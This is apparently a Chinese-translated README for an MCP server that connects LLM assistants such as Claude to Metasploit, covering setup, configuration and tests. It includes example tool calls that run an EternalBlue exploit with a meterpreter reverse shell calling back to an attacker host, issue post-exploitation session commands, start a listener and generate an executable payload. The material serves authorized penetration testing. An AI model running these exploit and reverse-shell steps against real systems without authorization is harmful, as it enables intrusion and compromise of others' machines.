用于 Metasploit 的 MCP 服务器
用于 Metasploit Framework 集成的 Model Context Protocol (MCP) 服务器。
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
该 MCP 服务器为 Claude 等大语言模型与 Metasploit Framework 渗透测试平台之间搭建了一座桥梁。它允许 AI 助手通过标准化工具动态访问和控制 Metasploit 的功能,为复杂的安全测试工作流程提供自然语言界面。
pip install -r requirements.txt
MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
启动 Metasploit RPC 服务:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
该服务器支持两种传输方式:
您可以通过 --transport 标志显式选择传输模式:
# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http
# Run with STDIO transport
python MetasploitMCP.py --transport stdio
HTTP 模式的其他选项:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
要进行 Claude Desktop 集成,请配置 claude_desktop_config.json:
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
对于使用 HTTP/SSE 的其他 MCP 客户端:
以 HTTP 模式启动服务器:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
将您的 MCP 客户端配置为连接到:
http://your-server-ip:8085/sse⚠️ 重要安全警告:
该工具提供对 Metasploit Framework 功能的直接访问,其中包括强大的漏洞利用功能。请负责任地使用,并且仅在获得明确授权执行安全测试的环境中使用。
list_exploits("ms17_010")run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})list_active_sessions()send_session_command(1, "whoami")run_post_module("windows/gather/enum_logged_on_users", 1)send_session_command(1, "sysinfo")terminate_session(1)start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)list_listeners()generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})stop_job(1)本项目包含全面的单元测试和集成测试,以确保可靠性和可维护性。
安装测试依赖:
pip install -r requirements-test.txt
或使用便捷的安装程序:
python run_tests.py --install-deps
# OR
make install-deps
# Run all tests
python run_tests.py --all
# OR
make test
# Run with coverage report
python run_tests.py --all --coverage
# OR
make coverage
# Run with HTML coverage report
python run_tests.py --all --coverage --html
# OR
make coverage-html
# Unit tests only
python run_tests.py --unit
# OR
make test-unit
# Integration tests only
python run_tests.py --integration
# OR
make test-integration
# Options parsing tests
python run_tests.py --options
# OR
make test-options
# Helper function tests
python run_tests.py --helpers
# OR
make test-helpers
# MCP tools tests
python run_tests.py --tools
# OR
make test-tools
# Include slow tests
python run_tests.py --all --slow
# Include network tests (requires actual network)
python run_tests.py --all --network
# Verbose output
python run_tests.py --all --verbose
# Quick test (no coverage, fail fast)
make quick-test
# Debug mode (detailed failure info)
make test-debug
tests/test_options_parsing.py:用于优雅选项解析功能的单元测试tests/test_helpers.py:用于内部辅助函数和 MSF 客户端管理的单元测试tests/test_tools_integration.py:使用模拟的 Metasploit 后端对所有 MCP 工具进行集成测试conftest.py:共享的测试夹具和配置pytest.ini:包含覆盖率设置的 Pytest 配置运行带覆盖率的测试后,可在以下位置获取报告:
htmlcov/index.html(使用 --html 选项时生成)用于持续集成:
# CI-friendly test command
make ci-test
# OR
python run_tests.py --all --coverage --verbose
默认情况下,使用 generate_payload 生成的 payload 会保存到您主目录下的 payloads 文件夹中(~/payloads 或 C:\Users\YourUsername\payloads)。您可以通过设置 PAYLOAD_SAVE_DIR 环境变量来自定义此位置。
设置环境变量:
Windows(PowerShell):
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
Windows(命令提示符):
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
Linux/macOS:
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
在 Claude Desktop 配置中:
"env": {
"MSF_PASSWORD": "yourpassword",
"PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default
}
注意: 如果您指定了自定义路径,请确保该路径存在或应用程序有权创建它。如果路径无效,payload 生成可能会失败。
Apache 2.0